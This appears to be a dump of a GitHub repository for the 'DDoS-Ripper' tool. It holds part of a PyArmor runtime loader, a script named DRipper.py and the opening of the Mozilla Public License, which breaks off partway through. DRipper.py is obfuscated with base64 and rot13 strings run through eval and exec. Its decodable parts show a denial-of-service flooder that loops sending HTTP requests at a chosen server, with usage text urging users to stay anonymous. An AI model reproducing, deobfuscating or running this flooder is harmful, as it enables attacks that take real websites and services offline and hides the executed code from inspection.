204 | for k in ['HARDDISK', 'IFMAC', 'IFIPV4', 'DOMAIN', 'FIXKEY', 'CODE']: 205 | index = rcode.find('*%s:' % k) 206 | if index > -1: 207 | if prev is not None: 208 | info[prev] = rcode[start:index] 209 | prev = k 210 | start = index + len(k) + 2 211 | info['CODE'] = rcode[start:] 212 | i = info['CODE'].find(';') 213 | if i > 0: 214 | info['DATA'] = info['CODE'][i+1:] 215 | info['CODE'] = info['CODE'][:i] 216 | return info 217 | 218 | 219 | def get_license_code(): 220 | return get_license_info()['CODE'] 221 | 222 | 223 | def get_user_data(): 224 | return get_license_info()['DATA'] 225 | 226 | 227 | def _match_features(patterns, s): 228 | for pat in patterns: 229 | if fnmatch(s, pat): 230 | return True 231 | 232 | 233 | def _gnu_get_libc_version(): 234 | try: 235 | prototype = CFUNCTYPE(c_char_p) 236 | ver = prototype(('gnu_get_libc_version', cdll.LoadLibrary('')))() 237 | return ver.decode().split('.') 238 | except Exception: 239 | pass 240 | 241 | 242 | def format_platform(platid=None): 243 | if platid: 244 | return os.path.normpath(platid) 245 | 246 | plat = platform.system().lower() 247 | mach = platform.machine().lower() 248 | 249 | for alias, platlist in plat_table: 250 | if _match_features(platlist, plat): 251 | plat = alias 252 | break 253 | 254 | if plat == 'linux': 255 | cname, cver = platform.libc_ver() 256 | if cname == 'musl': 257 | plat = 'musl' 258 | elif cname == 'libc': 259 | plat = 'android' 260 | elif cname == 'glibc': 261 | v = _gnu_get_libc_version() 262 | if v and len(v) >= 2 and (int(v[0]) * 100 + int(v[1])) < 214: 263 | plat = 'centos6' 264 | 265 | for alias, archlist in arch_table: 266 | if _match_features(archlist, mach): 267 | mach = alias 268 | break 269 | 270 | if plat == 'windows' and mach == 'x86_64': 271 | bitness = struct.calcsize('P'.encode()) * 8 272 | if bitness == 32: 273 | mach = 'x86' 274 | 275 | return os.path.join(plat, mach) 276 | 277 | 278 | # Load _pytransform library 279 | def _load_library(path=None, is_runtime=0, platid=None, suffix='', advanced=0): 280 | path = os.path.dirname(__file__) if path is None \ 281 | else os.path.normpath(path) 282 | 283 | plat = platform.system().lower() 284 | name = '_pytransform' + suffix 285 | if plat == 'linux': 286 | filename = os.path.abspath(os.path.join(path, name + '.so')) 287 | elif plat == 'darwin': 288 | filename = os.path.join(path, name + '.dylib') 289 | elif plat == 'windows': 290 | filename = os.path.join(path, name + '.dll') 291 | elif plat == 'freebsd': 292 | filename = os.path.join(path, name + '.so') 293 | else: 294 | raise PytransformError('Platform %s not supported' % plat) 295 | 296 | if platid is not None and os.path.isfile(platid): 297 | filename = platid 298 | elif platid is not None or not os.path.exists(filename) or not is_runtime: 299 | libpath = platid if platid is not None and os.path.isabs(platid) else \ 300 | os.path.join(path, plat_path, format_platform(platid)) 301 | filename = os.path.join(libpath, os.path.basename(filename)) 302 | 303 | if not os.path.exists(filename): 304 | raise PytransformError('Could not find "%s"' % filename) 305 | 306 | try: 307 | m = cdll.LoadLibrary(filename) 308 | except Exception as e: 309 | if sys.flags.debug: 310 | print('Load %s failed:\n%s' % (filename, e)) 311 | raise 312 | 313 | # Removed from v4.6.1 314 | # if plat == 'linux': 315 | # m.set_option(-1, find_library('c').encode()) 316 | 317 | if not os.path.abspath('.') == os.path.abspath(path): 318 | m.set_option(1, path.encode() if sys.version_info[0] == 3 else path) 319 | 320 | # Required from Python3.6 321 | m.set_option(2, sys.byteorder.encode()) 322 | 323 | if sys.flags.debug: 324 | m.set_option(3, c_char_p(1)) 325 | m.set_option(4, c_char_p(not is_runtime)) 326 | 327 | # Disable advanced mode by default 328 | m.set_option(5, c_char_p(not advanced)) 329 | 330 | # Set suffix for private package 331 | if suffix: 332 | m.set_option(6, suffix.encode()) 333 | 334 | return m 335 | 336 | 337 | def pyarmor_init(path=None, is_runtime=0, platid=None, suffix='', advanced=0): 338 | global _pytransform 339 | _pytransform = _load_library(path, is_runtime, platid, suffix, advanced) 340 | return init_pytransform() 341 | 342 | 343 | def pyarmor_runtime(path=None, suffix='', advanced=0): 344 | pyarmor_init(path, is_runtime=1, suffix=suffix, advanced=advanced) 345 | init_runtime() 346 | 347 | # ---------------------------------------------------------- 348 | # End of pytransform 349 | # ---------------------------------------------------------- 350 | 351 | # 352 | # Not available from v5.6 353 | # 354 | 355 | 356 | def generate_capsule(licfile): 357 | prikey, pubkey, prolic = _generate_project_capsule() 358 | capkey, newkey = _generate_pytransform_key(licfile, pubkey) 359 | return prikey, pubkey, capkey, newkey, prolic 360 | 361 | 362 | @dllmethod 363 | def _generate_project_capsule(): 364 | prototype = PYFUNCTYPE(py_object) 365 | dlfunc = prototype(('generate_project_capsule', _pytransform)) 366 | return dlfunc() 367 | 368 | 369 | @dllmethod 370 | def _generate_pytransform_key(licfile, pubkey): 371 | prototype = PYFUNCTYPE(py_object, c_char_p, py_object) 372 | dlfunc = prototype(('generate_pytransform_key', _pytransform)) 373 | return dlfunc(licfile.encode() if sys.version_info[0] == 3 else licfile, 374 | pubkey) 375 | 376 | 377 | # 378 | # Deprecated functions from v5.1 379 | # 380 | @dllmethod 381 | def encrypt_project_files(proname, filelist, mode=0): 382 | prototype = PYFUNCTYPE(c_int, c_char_p, py_object, c_int) 383 | dlfunc = prototype(('encrypt_project_files', _pytransform)) 384 | return dlfunc(proname.encode(), filelist, mode) 385 | 386 | 387 | def generate_project_capsule(licfile): 388 | prikey, pubkey, prolic = _generate_project_capsule() 389 | capkey = _encode_capsule_key_file(licfile) 390 | return prikey, pubkey, capkey, prolic 391 | 392 | 393 | @dllmethod 394 | def _encode_capsule_key_file(licfile): 395 | prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p) 396 | dlfunc = prototype(('encode_capsule_key_file', _pytransform)) 397 | return dlfunc(licfile.encode(), None) 398 | 399 | 400 | @dllmethod 401 | def encrypt_files(key, filelist, mode=0): 402 | t_key = c_char * 32 403 | prototype = PYFUNCTYPE(c_int, t_key, py_object, c_int) 404 | dlfunc = prototype(('encrypt_files', _pytransform)) 405 | return dlfunc(t_key(*key), filelist, mode) 406 | 407 | 408 | @dllmethod 409 | def generate_module_key(pubname, key): 410 | t_key = c_char * 32 411 | prototype = PYFUNCTYPE(py_object, c_char_p, t_key, c_char_p) 412 | dlfunc = prototype(('generate_module_key', _pytransform)) 413 | return dlfunc(pubname.encode(), t_key(*key), None) 414 | 415 | # 416 | # Compatible for PyArmor v3.0 417 | # 418 | @dllmethod 419 | def old_init_runtime(systrace=0, sysprofile=1, threadtrace=0, threadprofile=1): 420 | '''Only for old version, before PyArmor 3''' 421 | pyarmor_init(is_runtime=1) 422 | prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int) 423 | _init_runtime = prototype(('init_runtime', _pytransform)) 424 | return _init_runtime(systrace, sysprofile, threadtrace, threadprofile) 425 | 426 | 427 | @dllmethod 428 | def import_module(modname, filename): 429 | '''Only for old version, before PyArmor 3''' 430 | prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p) 431 | _import_module = prototype(('import_module', _pytransform)) 432 | return _import_module(modname.encode(), filename.encode()) 433 | 434 | 435 | @dllmethod 436 | def exec_file(filename): 437 | '''Only for old version, before PyArmor 3''' 438 | prototype = PYFUNCTYPE(c_int, c_char_p) 439 | _exec_file = prototype(('exec_file', _pytransform)) 440 | return _exec_file(filename.encode()) 441 | -------------------------------------------------------------------------------- /DRipper Free/pytransform/_pytransform.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/palahsu/DDoS-Ripper/73c7bcf38e341c292aaadb1712d33d34cd2a8703/DRipper Free/pytransform/_pytransform.dll -------------------------------------------------------------------------------- /DRipper.py: -------------------------------------------------------------------------------- 1 | # Python code obfuscated by www.development-tools.net 2 | 3 | 4 | import base64, codecs 5 | magic = 'IyEvdXNyL2Jpbi9weXRob24zDQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLQ0KDQoNCg0KaW1wb3J0IHN5cw0KZnJvbSBxdWV1ZSBpbXBvcnQgUXVldWUNCmZyb20gb3B0cGFyc2UgaW1wb3J0IE9wdGlvblBhcnNlcg0KaW1wb3J0IHRpbWUsc3lzLHNvY2tldCx0aHJlYWRpbmcsbG9nZ2luZyx1cmxsaWIucmVxdWVzdCxyYW5kb20NCg0KcHJpbnQoJycnDQoNCg0K4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAg4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgICDilojilojilojilojilojilojilZcg4paI4paI4pWX4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilojilZfilojilojilojilojilojilojilZcNCuKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVlOKVkOKVkOKVkOKVkOKVnSAgICDilojilojilZTilZDilZDilojilojilZfilojilojilZHilojilojilZTilZDilZDilojilojilZfilojilojilZTilZDilZDilojilojilZfilojilojilZTilZDilZDilZDilZDilZ3ilojilojilZTilZDilZDilojilojilZcNCuKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWRICDilojilojilZHilojilojilZEgICDilojilojilZHilojilojilojilojilojilojilojilZcgICAg4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4pWR4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4pWXICDilojilojilojilojilojilojilZTilZ0NCuKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWRICDilojilojilZHilojilojilZEgICDilojilojilZHilZrilZDilZDilZDilZDilojilojilZEgICAg4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWR4paI4paI4pWU4pWQ4pWQ4pWQ4pWdIOKWiOKWiOKVlOKVkOKVkOKVkOKVnSDilojilojilZTilZDilZDilZ0gIOKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVlw0K4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4pWU4pWd4pWa4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4paI4pWRICAgIOKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWR4paI4paI4pWRICAgICDilojilojilZEgICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkSAg4paI4paI4pWRDQrilZrilZDilZDilZDilZDilZDilZ0g4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWdICDilZrilZDilZDilZDilZDilZDilZ0g4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWdICAgIOKVmuKVkOKVnSAg4pWa4pWQ4pWd4pWa4pWQ4pWd4pWa4pWQ4pWdICAgICDilZrilZDilZ0gICAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWdICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgwqlFbmdpbmVSaXBwZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVmZXJlbmNlIGJ5IEhhbW1lcg0KJycnKQ0KDQpkZWYgdXNlcl9hZ2VudCgpOg0KCWdsb2JhbCB1YWdlbnQNCgl1YWdlbnQ9W10NCgl1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wKSBPcGVyYSAxMi4xNCIpDQoJdWFnZW50LmFwcGVuZCgiTW96aWxsYS81L' 6 | love = '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' 7 | god = 'hlYWRlcnM9eydVc2VyLUFnZW50JzogcmFuZG9tLmNob2ljZSh1YWdlbnQpfSkpDQoJCQlwcmludCgiXDAzM1s5MG1hZ2FpbiBib3QgaXMgcmlwcGVyaW5nLi4uXDAzM1swbSIpDQoJCQl0aW1lLnNsZWVwKC4xKQ0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCguMikNCg0KDQpkZWYgZG93bl9pdChpdGVtKToNCgl0cnk6DQoJCXdoaWxlIFRydWU6DQoJCQlwYWNrZXQgPSBzdHIoIkdFVCAvIEhUVFAvMS4xXG5Ib3N0OiAiK2hvc3QrIlxuXG4gVXNlci1BZ2VudDogIityYW5kb20uY2hvaWNlKHVhZ2VudCkrIlxuIitkYXRhKS5lbmNvZGUoJ3V0Zi04JykNCgkJCXMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQoJCQlzLmNvbm5lY3QoKGhvc3QsaW50KHBvcnQpKSkNCgkJCWlmIHMuc2VuZHRvKCBwYWNrZXQsIChob3N0LCBpbnQocG9ydCkpICk6DQoJCQkJcy5zaHV0ZG93bigxKQ0KCQkJCXByaW50ICgiXDAzM1s5Mm0iLHRpbWUuY3RpbWUodGltZS50aW1lKCkpLCJcMDMzWzBtIFwwMzNbOTJtIDwtLXBhY2tldCBzZW50ISByaXBwZXJpbmctLT4gXDAzM1swbSIpDQoJCQllbHNlOg0KCQkJCXMuc2h1dGRvd24oMSkNCgkJCQlwcmludCgiXDAzM1s5MW1zaHV0PC0+ZG93blwwMzNbMG0iKQ0KCQkJdGltZS5zbGVlcCguMSkNCglleGNlcHQgc29ja2V0LmVycm9yIGFzIGU6DQoJCXByaW50KCJcMDMzWzkxbW5vIGNvbm5lY3Rpb24hIHdlYiBzZXJ2ZXIgbWF5YmUgZG93biFcMDMzWzBtIikNCgkJI3ByaW50KCJcMDMzWzkxbSIsZSwiXDAzM1swbSIpDQoJCXRpbWUuc2xlZXAoLjEpDQoNCg0KZGVmIGRvcygpOg0KCXdoaWxlIFRydWU6DQoJCWl0ZW0gPSBxLmdldCgpDQoJCWRvd25faXQoaXRlbSkNCgkJcS50YXNrX2RvbmUoKQ0KDQoNCmRlZiBkb3MyKCk6DQoJd2hpbGUgVHJ1ZToNCgkJaXRlbT13LmdldCgpDQoJCWJvdF9yaXBwZXJpbmcocmFuZG9tLmNob2ljZShib3RzKSsiaHR0cDovLyIraG9zdCkNCgkJdy50YXNrX2RvbmUoKQ0KDQojZGVmIGRvczMoKToNCiAgIyAgd2hpbGUgVHJ1ZToNCiAgIyAgICAgIGl0ZW0gPSBlLmdldCgpDQogICMgICAgICBib3RfcmlwcGVyaW5nKHJhbmRvbS5jaG9pY2UoYm90cykrImh0dHA6Ly8iK2hvc3QpDQogICMgICAgICBlLnRhc2tfZG9uZSgpDQoNCmRlZiB1c2FnZSgpOg0KCXByaW50ICgnJycgXDAzM1swOzk1bUREb3MgUmlwcGVyIA0KCQ0KCUl0IGlzIHRoZSBlbmQgdXNlcidzIHJlc3BvbnNpYmlsaXR5IHRvIG9iZXkgYWxsIGFwcGxpY2FibGUgbGF3cy4NCglJdCBpcyBqdXN0IGxpa2UgYSBzZXJ2ZXIgdGVzdGluZyBzY3JpcHQgYW5kIFlvdXIgaXAgaXMgdmlzaWJsZS4gUGxlYXNlLCBtYWtlIHN1cmUgeW91IGFyZSBhbm9ueW1vdXMhIFxuDQoJVXNhZ2UgOiBweXRob24zIGRyaXBwZXIucHkgWy1zXSBbLXBdIFstdF0gWy1xXQ0KCS1oIDogLWhlbHANCgktcyA6IC1zZXJ2ZXIgaXANCgktcCA6IC1wb3J0IGRlZmF1bHQgODANCgktcSA6IC1xdWlldA0KCQ0KCS10IDogLXR1cmJvIGRlZmF1bHQgMTM1IG9yIDQ0MyBcMDMzWzBtICcnJykNCg0KCXN5cy5leGl0KCkNCg0KDQpkZWYgZ2V0X3BhcmFtZXRlcnMoKToNCglnbG9iYWwgaG9zdA0KCWdsb2JhbCBwb3J0DQoJZ2xvYmFsIHRocg0KCWdsb2JhbCBpdGVtDQoJb3B0cCA9IE9wdGlvblBhcnNlcihhZGRfaGVscF9vcHRpb249RmFsc2UsZXBpbG9nPSJSaXBwZXJzIikNCglvcHRwLmFkZF9vcHRpb24oIi1zIiwiLS1zZXJ2ZXIiLCBkZXN0PSJob3N0IixoZWxwPSJhdHRhY2sgdG8gc2VydmVyIGlwIC1zIGlwIikNCglvcHRwLmFkZF9vcHRpb24oIi1wIiwiLS1wb3J0Iix0eXBlPSJpbnQiLGRlc3Q9InBvcnQiLGhlbHA9Ii1wIDgwIGRlZmF1bHQgODAiKQ0KCW9wdHAuYWRkX29' 8 | destiny = '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' 9 | joy = '\x72\x6f\x74\x31\x33' 10 | trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') 11 | eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Mozilla Public License Version 2.0 2 | ================================== 3 | 4 | 1. Definitions 5 | -------------- 6 | 7 | 1.1. "Contributor" 8 | means each individual or legal entity that creates, contributes to 9 | the creation of, or owns Covered Software. 10 | 11 | 1.2. "Contributor Version" 12 | means the combination of the Contributions of others (if any) used 13 | by a Contributor and that particular Contributor's Contribution. 14 | 15 | 1.3. "Contribution" 16 | means Covered Software of a particular Contributor. 17 | 18 | 1.4. "Covered Software" 19 | means Source Code Form to which the initial Contributor has attached 20 | the notice in Exhibit A, the Executable Form of such Source Code 21 | Form, and Modifications of such Source Code Form, in each case 22 | including portions thereof. 23 | 24 | 1.5. "Incompatible With Secondary Licenses" 25 | means 26 | 27 | (a) that the initial Contributor has attached the notice described 28 | in Exhibit B to the Covered Software; or 29 | 30 | (b) that the Covered Software was made available under the terms of 31 | version 1.1 or earlier of the License, but not also under the 32 | terms of a Secondary License. 33 | 34 | 1.6. "Executable Form" 35 | means any form of the work other than Source Code Form. 36 | 37 | 1.7. "Larger Work" 38 | means a work that combines Covered Software with other material, in 39 | a separate file or files, that is not Covered Software. 40 | 41 | 1.8. "License" 42 | means this document. 43 | 44 | 1.9. "Licensable" 45 | means having the right to grant, to the maximum extent possible, 46 | whether at the time of the initial grant or subsequently, any and 47 | all of the rights conveyed by this License. 48 | 49 | 1.10. "Modifications" 50 | means any of the following: 51 | 52 | (a) any file in Source Code Form that results from an addition to, 53 | deletion from, or modification of the contents of Covered 54 | Software; or 55 | 56 | (b) any new file in Source Code Form that contains any Covered 57 | Software. 58 | 59 | 1.11. "Patent Claims" of a Contributor 60 | means any patent claim(s), including without limitation, method, 61 | process, and apparatus claims, in any patent Licensable by such 62 | Contributor that would be infringed, but for the grant of the 63 | License, by the making, using, selling, offering for sale, having 64 | made, import, or transfer of either its Contributions or its 65 | Contributor Version. 66 | 67 | 1.12. "Secondary License" 68 | means either the GNU General Public License, Version 2.0, the GNU 69 | Lesser General Public License, Version 2.1, the GNU Affero General 70 | Public License, Version 3.0, or any later versions of those 71 | licenses. 72 | 73 | 1.13. "Source Code Form" 74 | means the form of the work preferred for making modifications. 75 | 76 | 1.14. "You" (or "Your") 77 | means an individual or a legal entity exercising rights under this 78 | License. For legal entities, "You" includes any entity that 79 | controls, is controlled by, or is under common control with You. For 80 | purposes of this definition, "control" means (a) the power, direct 81 | or indirect, to cause the direction or management of such entity, 82 | whether by contract or otherwise, or (b) ownership of more than 83 | fifty percent (50%) of the outstanding shares or beneficial 84 | ownership of such entity. 85 | 86 | 2. License Grants and Conditions 87 | -------------------------------- 88 | 89 | 2.1. Grants 90 | 91 | Each Contributor hereby grants You a world-wide, royalty-free, 92 | non-exclusive license: 93 